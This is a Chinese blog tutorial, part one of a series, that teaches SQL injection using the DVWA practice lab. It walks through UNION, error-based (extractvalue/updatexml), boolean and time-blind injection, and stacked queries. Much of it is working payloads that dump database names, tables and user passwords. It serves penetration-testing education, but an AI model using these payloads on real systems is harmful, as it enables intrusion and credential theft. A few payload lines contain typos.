【网络安全的神秘世界】SQL注入漏洞(上)

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

本章知识使用的靶场:DVWA

一、漏洞简介

SQL:结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言

SQL注入:简而言之就是,攻击者通过系统正常的输入数据的功能,输入恶意数据,而系统又未做任何校验或校验不严格,直接信任了用户输入,使得恶意输入改变原本的SQL逻辑或者执行了额外的SQL语句,造成SQL注入攻击。

SQL注入漏洞产生需要满足的条件:

1、参数是用户可控的:前端传给后端的参数内容是用户可控的(在前端有输入点)

2、参数的值传给数据库:传入的参数拼接到SQL语句,且带入数据库做查询(尽量不做别的操作,会影响业务)

二、漏洞危害

可以获取敏感信息、修改信息、脱裤、上传webshell执行命令

【脱裤】:把整个数据库下载下来

【上传webshell】:上传脚本文件

三、SQL注入分类

在学习SQL注入之前,我们先了解一个概念”隐式转换“:

在Mysql数据库中,如果某个参数是int类型,在该参数赋值时,传递一个字符串,就会自动去识别字符串的第一个字符
如果第一个字符是数字,则转换成int类型;
如果第一个字符不是数字,则转换失败,不会继续向后识别

在这里插入图片描述

当id=1时查不到,因为id的类型是字符串,没有隐式转换

在这里插入图片描述

3.1 数字型int

当输入的参数类型(type)为整型时,若存在注入漏洞,就叫数字型注入。测试步骤如下:

#如果前端页面没有输入点,我们也可以通过URL或Bp抓包进行漏洞测试
1.加单引号,URL:www.text.com/text.php?id=1'
对应的sq1:select * from table where id=1'这时sq]语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;此时可以判断大概率存在注入,因为只有服务器将这个单引号一起当作SQL语句执行时才会报错,但是并不绝对,也有可能是程序本身的问题引起报错。

2.and 1=1,URL:www.text.com/text.php?id=l and 1=1
对应的sq1:select *from tpble where id=1 and 1=1 存在注入,语句执行正常能查询出来数据;否则返回报错

3.and 1=2,URL:www.text.com/text.php?id=l and 1=2
对应的sq1:select* from table where id=1 and 1=2 为了进一步验证存在注入,把and 1=1改成and 1=2,语句可以正常执行,但是无法查询出结果,证明存在注入

在执行第3步时,按照正常逻辑前端页面是不应该返回结果的

在这里插入图片描述

很疑惑,去后端构建代码查看一下发现(实际渗透中接触不到后端):

查询数字型1 and 1=2时,逻辑正常没有返回结果

查询字符型’1 and 1=2’时,做了隐式转换有返回结果

在这里插入图片描述

那我们只能去这个DVWA靶场看源代码,原来是这个靶场在用户输入内容的左右两端加了单引号(做了额外处理)

在这里插入图片描述

如果满足以上三点,且程序本身没有对用户的输入做任何额外处理,则可以判断该URL存在数字型注入

----------------------在实际过程中,如果网站做了额外处理该怎么查看?

我们压根看不到额外处理,所有我们只能不停的构造SQL注入语句,通过回显来推断做了什么处理

3.2 字符型varchar

当输入的参数类型(type)为字符型时,若存在注入漏洞,就叫字符型型注入

字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

根据3.1的步骤,DVWA靶场做了额外处理,所以我们可以暂时当作字符型注入:

为什么是暂时当作?

因为是网站做了处理,不影响数据库里的实际类型,所以本身是数值型注入

1 and 1=1

从逻辑上看,‘1 and 1=1’作为字符串时,是查不出结果的(数据库中不会有id的值为1 and 1=1),那我们就无法验证这个漏洞,所以,在实际测试中,我们要让构造好的语句从字符型的单引号中出来,从而进行逻辑判断,才能验证自己所思考的逻辑

因此,在构造payload时通过闭合单引号可以成功执行语句:

//截断注释方法
尝试输入:1' and 1=1 #

在数据中的语句就是:

select * from user where id ='1' and 1=1 #'

3.3 联合查询注入union

通过union或union all操作符连接多条SELECT语句进行查询

  • union:会自动去除结果集中的重复行
  • union all:会将所有查询结果合并在一起,包括重复的行(在实际渗透中使用,保证信息不遗漏)

联合查询使用条件:union all左右两边的查询列数保持一致,页面上有显示位

在这里插入图片描述

关于显示位我们要考虑两点:1.有没有 2.够不够

1️⃣有没有:看能不能返回查询条件的结果

通过order by帮我们判断前端页面上给我们显示几列

1' order by 1#

查3的时候报错了,查1和2的时候都没报错,证明有2列显示位

在这里插入图片描述

还有一种方法,使用联合查询,1,2表示无意义位,也是为了判断有没有显示位

1' union all select 1,2

在这里插入图片描述

2️⃣够不够:页面的显示位不足,会导致返回的结果不全

✨显示位只有1位:调换查询顺序

1' union all select user(),database()#

在这里插入图片描述

1' union all select database(),user()#

在这里插入图片描述

✨前端页面篇幅有限,只能显示一行:让union all左边查询不出来内容

-1' union all select 1,2#

在这里插入图片描述

✨前端页面篇幅有限,无法展示多行查询结果:使用group_concat()把同一列的多行合并到同一行

1' union all select 1,group_concat(user) from users#

在这里插入图片描述

在讲解如何利用Union注入进一步获取数据库名、表名、字段名以及字段中的数据之前,先介绍一个重要的知识点:MySQL 5.0以上版本,存在一个自带的数据库名为:information_schema

information_schema包含所有的库信息,所以拿下它就能拿下业务数据库DVWA,为我们渗透测试提供了很大的便利

information_schema数据库中有三个表非常重要:

schemata: 所有数据库的名字
tables: 所有数据库的所有表
columns: 所有数据库的所有表的所有字段

三个列非常重要:

table_schema:数据库名
table_name:表名
column_name:字段名

现在利用information_schema这个库进行查询

渗透层次结构流程:库名——>表名——>字段名——>数据

🚀从information_schema数据库中查找库名

1' union all select schema_name,1 from information_schema.schemata#

🚀从information_schema数据库中的table里查询当前数据库的表名

1' union all select table_name,1 from information_schema.tables where table_schema=database()#

🚀查找dvwa库的users表下有哪些字段

1' union all select column_name,1 from information_schema.columns where table_sechema='dvwa' and table_name='users'

🚀得到用户名和密码

1' union all select user,password from users#

3.4 报错注入

主要是利用数据库报错来进行判断是否存在注入点,如果不符合数据库语法规则就会报错并返回错误信息

目的:通过报错查询到我们想要的信息

常用的报错特殊字符:' \ ; %00 ) ( # ''

在MySQL高版本(>5.1版本)中添加了对XML文档进行查询和修改的函数,这两个函数常用于报错注入:

extractvalue()
updatexml()

原因:当这两个函数在执行时,如果出现XML文档路径错误就会产生报错

extractvalue()函数

此函数从目标XML中返回包含所查询值的字符串

extractvalue(xml_document, xpath_string)
  • xml_document:是一个字符串格式的XML文档对象名称
  • xpath_string:是一个XPath格式的字符串,存放路径信息

基本上第一个参数随便写,第二个参数会出现报错,所以在第二个参数位置上构造代码利用报错返回我们想要的信息

在这里插入图片描述

这种情况下就是我们想要的函数语法报错(原因:路径下不会存在~)

前端代码:1' extractvalue(1,'~') #

在这里插入图片描述

但有时候前端通往后端的过程会校验‘,我们可以通过16进制绕过

select hex('~') //~转换为16进制:0x7e

在这里插入图片描述

怎么在报错的情况下查找到我们想要的信息:利用concat()字符串拼接函数

在这里插入图片描述

注入思路:库名——>表名——>列名——>字段名

# 爆库名
1and extractvalue(1,concat(0x7e,database()))#

# 爆表数
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')));#

# 爆表名 
<!-- 爆破长度有限,group_concat()方法显示的不完整,要使用limit -->
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa')));#

1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)));#

# 爆字段数
1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='user')));#

# 爆字段名
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='user' limit 0,1)));#

# 爆数据长度
1' and extractvalue(1,concat(0x7e,(select length(password) from users where user_id=1)));#

# 爆数据
<!-- 因为只让查1列,通过concat()把2列合并成1列,但是发现数据不全借助substr() -->
1' and extractvalue(1,concat(0x7e,(select concat(user,password) from users where user_id=1)));#
1' and extractvalue(1,concat(0x7e,(select substr(password,32,1) from users where user_id=1)));#

limit m,n:表示从第m+1条开始,取n条

updatexml()函数
updatexml(xml_document, XPath_string, new_value)

注入过程和extractvalue()函数一样,只不过多了一个参数

第三个参数随便写点啥都行,比如:1

3.5 盲注

只会根据注入信息返回True或False,没有之前的查询信息或者报错信息

3.5.1 布尔注入

1、判断是否存在注入,注入的类型

2、猜测当前数据库名称

猜测当前数据库库名的长度

1' and length(database()) > 3;#

猜测当前数据库的名称:取当前字符串的第一个字符转换为ASCII码与100进行比较

1' and ascii(substr(database(),1,1)) > 100;#

3、猜测数据库下的表名

猜测表的个数

1' and (select(select count(table_name) from information_schema.tables where table_schema = 'dvwa')) > 2;#

取第一个表,猜测表名的长度

1' and  length((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)) > 5;#

猜测表名

1' and  (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema='dvwa' limit 0,1) >100;#

4、猜测表中字段名

猜测字段的个数

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users') > 10;#

再用上述手工注入方法就太麻烦了,我们直接猜测数据库中可能存在的字段名称(如果猜测不出来还是继续手工注入吧😂)

用户名:username/user_name/uname/u_name/user/name/…

密码:password/pass_word/pwd/pass/…

# 已知数据库为dvwa,表名为users,猜字段名为phone
1' and (select count(*) from information_schema.columns where table_schema='dwwa' and table_name='users' and column_name ='user')=1;#

5、获取表中的字段值

1)用户名的字段值

# 爆长度
1' and length((select user from users limit 0,1))>5;#

# 逐个爆破字符
1' and (select ascii(substr(user,1,1) from users limit 0,1)>100;#

2)密码的字段值

# 爆长度
1' and length(select password from users limit 0,1)>33;#

# 逐个爆破字符

6、验证字段值的有效性

将拿到的用户名和密码填写到前端登陆界面的输入框中,尝试登录是否成功

3.5.2 时间盲注

界面返回值只有一种True,我们可以通过if和sleep函数,根据页面返回的时间差来判断注入的语句是否正确

猜测当前连接数据库的名称

1' and if(length(database())=4,sleep(3),1)#;

盲注需要掌握的几种函数

  • length():返回字符串的长度
  • substr():截取字符串
  • ascii():返回字符的ascii码
  • sleep():将程序挂起一段时间

3.6 堆叠查询

多条SQL语句一起执行

使用条件:MySQL数据库的搜索引擎用到了mysqli_muli_query()

使用方法:直接在输入框输入多条SQL语句用;分隔


至此,对sql注入分类总结一下:

  • 根据查询字段:数字型、字符型
  • 根据查询方式:union注入、堆叠注入
  • 根据回显:报错、盲注

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/748730.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

项目经理必读:三步走实现项目高效管理

一个项目的成功往往取决于项目管理能力的高低。若管理不当&#xff0c;易导致团队成员间的推诿和抱怨&#xff0c;且项目团队还可能面临成员对目标不明确、信息不透明、进度难以跟踪等问题。作为项目经理&#xff0c;掌握有效的项目管理策略至关重要。 一、精细化的目标拆解 …

瑶池数据库SQL-问题二的解决方案

瑶池数据库SQL-问题二的解决方案 为什么选问题二问题二准备工作解决方案第一步第二步初步尝试再次尝试主表自关联查询满足条件数据 解题感受 为什么选问题二 个人没有详细的看三个题目的具体内容&#xff0c;只是看了三个题目的题目名称&#xff0c; 最后觉得问题二比较有意思…

本安防爆手机为什么能在石油化工行业使用

本安防爆手机专为石油化工行业等易燃易爆环境设计&#xff0c;具备严格的防爆安全标准和环境适应性&#xff0c;确保在石油化工厂的作业安全使用。这些手机不仅具备普通手机的通讯功能&#xff0c;更能有效防止电火花等潜在点火源的产生&#xff0c;为石油化工工作人员提供可靠…

阿里1688商家数据采集软件

大镜山阿里1688商家数据采集一款采集阿里巴巴1688.com商家数据的软件&#xff0c;采集的数据包括店铺名称、联系人姓名、手机号码等。 一、大镜山阿里1688商家数据采集特色 — 大镜山阿里1688商家数据采集一款采集阿里巴巴1688.com商家数据的软件&#xff0c;采集的数据包括店…

【JavaScript】一键入门

目录 一、JS起源 二、JS特点 三、JS组成部分 四、JS引入方式 一、JS起源 Java Script是由网景公司的Live Script发展而来的一种运行在客户端浏览器上的脚本语言&#xff0c;可以实现网页如文本内容、数据动态变化和动画特效等即浏览器与用户交互的这种体验。 二、JS特点 …

强化学习详解:理论基础与核心算法解析

本文详细介绍了强化学习的基础知识和基本算法&#xff0c;包括动态规划、蒙特卡洛方法和时序差分学习&#xff0c;解析了其核心概念、算法步骤及实现细节。 关注TechLead&#xff0c;复旦AI博士&#xff0c;分享AI领域全维度知识与研究。拥有10年AI领域研究经验、复旦机器人智能…

MySQL的安装与配置

MySQL提供安装包和压缩包两种安装方式&#xff0c;安装包是以.msi作为后缀名的二进制分发文件&#xff0c;压缩包是以.zip为后缀的压缩文件。安装包的安装只要双击安装文件&#xff0c;然后按照提示一步步安装就可以了&#xff0c;属于“傻瓜”式安装&#xff1b;压缩包的安装需…

成都百洲文化传媒有限公司专业电商服务的典范

在电商风起云涌的时代&#xff0c;成都百洲文化传媒有限公司凭借其深厚的行业经验和独特的创新思维&#xff0c;成为了众多品牌电商之路上的得力助手。今天&#xff0c;就让我们一起走进成都百洲文化传媒&#xff0c;看看他们是如何在电商领域乘风破浪&#xff0c;助力品牌实现…

新能源、新智造、新技术、新未来​ 2024常州国际新能源汽车产业博览会​ 9月20-22日盛大举行!

深入贯彻党的二十大关于制造强国建设、推动汽车产业高端化、制造化、绿色化发展的战略部署&#xff0c;构建新发展格局、推动高质量发展的内在要求。在“双碳”政策背景下&#xff0c;常州市紧扣“国际化智造名城、长三角中轴枢纽”城市定位&#xff0c;奋力推进“532”发展战略…

MyBatis源码分析--一级缓存、二级缓存原理

前言&#xff1a; 有点项目经验的朋友都知道缓存的重要性是不言而喻的&#xff0c;不仅仅我们在开发项目业务功能的时候使用了各种缓存&#xff0c;框架在设计的时候也有框架层面的缓存&#xff0c;尤其在查询多的场景下&#xff0c;缓存可以大大的减少数据库访问&#xff0c;…

valgrind调试c/c++内存问题:非法地址访问_内存泄漏_越界访问

1.valgrind命令 调试内存问题: valgrind --leak-checkfull 更新详细的显示: valgrind --leak-checkfull --show-leak-kindsall valgrind提示信息汇总 内存泄漏 lost in loss record 丢失记录 , 内存泄漏实例[[#2.内存泄漏–不完全释放内存|实例链接]]段错误 Process termina…

vue3-cropperjs图片裁剪工具-用户上传图片截取-(含预览视频)

效果图 上传图片弹窗预览 对于这个上传图片样式可以参考 官方原代码 官网传送入口 Upload 上传 | Element Plus (element-plus.org) <template><el-uploadclass"upload-demo"dragaction"https://run.mocky.io/v3/9d059bf9-4660-45f2-925d-ce80ad6…

吴恩达LangChain教程:Embedding与文档解析

当前有很多应用想要实现根据文档或者文本内容实现用户问答&#xff0c;或者实现多轮会话能力&#xff0c;这时候就会使用到Embedding的能力。 01 | 使用类介绍 想要依据Embedding实现文本检索&#xff0c;需要引入如下的依赖。 其中&#xff0c;RetrievalQA的作用是对一些文档…

一天跌20%,多只可转债“腰斩”,近百只跌破面值,“退可守”的香饽饽为何破防?

专业人士指出&#xff0c;近期部分可转债大跌原因主要有两点&#xff1a;一方面&#xff0c;转债市场与权益市场联动性强。另一方面&#xff0c;近期公布的宏观经济数据稳中趋缓&#xff0c;“供强需弱”特征依然明显&#xff0c;证监会主席吴清发言及“科创板八条”新规延续了…

Python 基础 (标准库):heapq (堆)

1. 官方文档 heapq --- 堆队列算法 — Python 3.12.4 文档 2. 相关概念 堆 heap 是一种具体的数据结构&#xff08;concrete data structures&#xff09;&#xff1b;优先级队列 priority queue 是一种抽象的数据结构&#xff08;abstract data structures&#xff09;&…

秘籍来啦!手机找回删除的文件,掌握这3种方法

你是否曾经不小心删除了手机上的重要文件&#xff0c;如照片、视频、文档等&#xff0c;然后束手无策&#xff0c;不知道该如何恢复&#xff1f;这时候&#xff0c;找回删除的文件就显得尤为重要。别担心&#xff0c;本文将为大家揭秘3种方法&#xff0c;让你轻松找回那些被删除…

Redis Stream Redisson Stream

目录 一、Redis Stream1.1 场景1&#xff1a;多个客户端可以同时接收到消息1.1.1 XADD - 向stream添加Entry&#xff08;发消息 &#xff09;1.1.2 XREAD - 从stream中读取Entry&#xff08;收消息&#xff09;1.1.3 XRANGE - 从stream指定区间读取Entry&#xff08;收消息&…

徐徐拉开的帷幕:拜登与特朗普的辩论大戏 日元跌破160大关!创1986年以来最低纪录

北京时间6月27日&#xff08;本周五&#xff09;上午9:00&#xff0c;拜登和特朗普将参加2024年总统候选人电视辩论。作为参考&#xff0c;2016年大选辩论期间&#xff0c;美元汇率对辩论结果的反应相对温和&#xff0c;希拉里胜选预期增强在一定程度上支撑了美元。 时间逐渐临…

AI产品打造全攻略:看我是如何预测用户流失,搞定AI产品全流程的

前言 对于任何互联网公司而言&#xff0c;用户流失无疑是一个不容忽视的问题。在本文中&#xff0c;我将通过一个真实的预测用户流失的项目案例&#xff0c;带领大家深入了解AI产品从筹备到上线的整个流程。这个过程将展现AI产品经理的工作全貌&#xff0c;包括各个环节的角色…

钉钉在MAKE 2024大会上宣布开放AI生态;NBC将用AI主播播报巴黎奥运会内容

&#x1f680; 钉钉在MAKE 2024大会上宣布开放AI生态 摘要&#xff1a;钉钉总裁叶军在MAKE 2024生态大会上宣布&#xff0c;钉钉将对所有大模型厂商开放&#xff0c;构建“国内最开放AI生态”。目前已有六家大模型厂商接入钉钉&#xff0c;用户可直接使用七家大模型产品。未来…